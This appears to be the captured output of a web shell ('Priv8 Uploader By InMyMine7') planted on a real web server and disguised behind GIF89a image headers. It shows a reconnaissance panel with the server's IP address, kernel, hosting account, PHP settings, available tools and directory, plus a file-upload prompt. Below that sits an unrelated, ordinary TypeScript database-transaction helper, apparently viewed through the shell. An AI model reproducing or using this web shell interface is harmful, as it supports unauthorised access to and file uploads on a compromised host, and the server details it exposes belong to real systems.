GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/database/ |
Upload File : |
/**
* Transaction utility for D1 compatibility
*
* D1 (via kysely-d1) does not support transactions. On workerd, the error
* from beginTransaction() crosses request contexts and can hang the worker.
*
* This utility provides a drop-in replacement that runs the callback directly
* against the db instance when transactions are unavailable. D1 is single-writer
* so atomicity is not a concern for individual statements — multi-statement
* atomicity is lost, but that's a known D1 limitation.
*
* Usage:
* import { withTransaction } from "../database/transaction.js";
* const result = await withTransaction(db, async (trx) => { ... });
*/
import type { Kysely, Transaction } from "kysely";
/**
* Run a callback inside a transaction if supported, or directly if not.
*
* Probes the database once on first call to determine if transactions work.
* The result is cached for the lifetime of the process/worker.
*/
let transactionsSupported: boolean | null = null;
const TRANSACTIONS_NOT_SUPPORTED_RE = /transactions are not supported/i;
export async function withTransaction<DB, T>(
db: Kysely<DB>,
fn: (trx: Kysely<DB> | Transaction<DB>) => Promise<T>,
): Promise<T> {
// Fast path: we already know transactions work
if (transactionsSupported === true) {
return db.transaction().execute(fn);
}
// Fast path: we already know they don't
if (transactionsSupported === false) {
return fn(db);
}
// First call: probe
try {
const result = await db.transaction().execute(fn);
transactionsSupported = true;
return result;
} catch (error) {
if (error instanceof Error && TRANSACTIONS_NOT_SUPPORTED_RE.test(error.message)) {
transactionsSupported = false;
return fn(db);
}
throw error;
}
}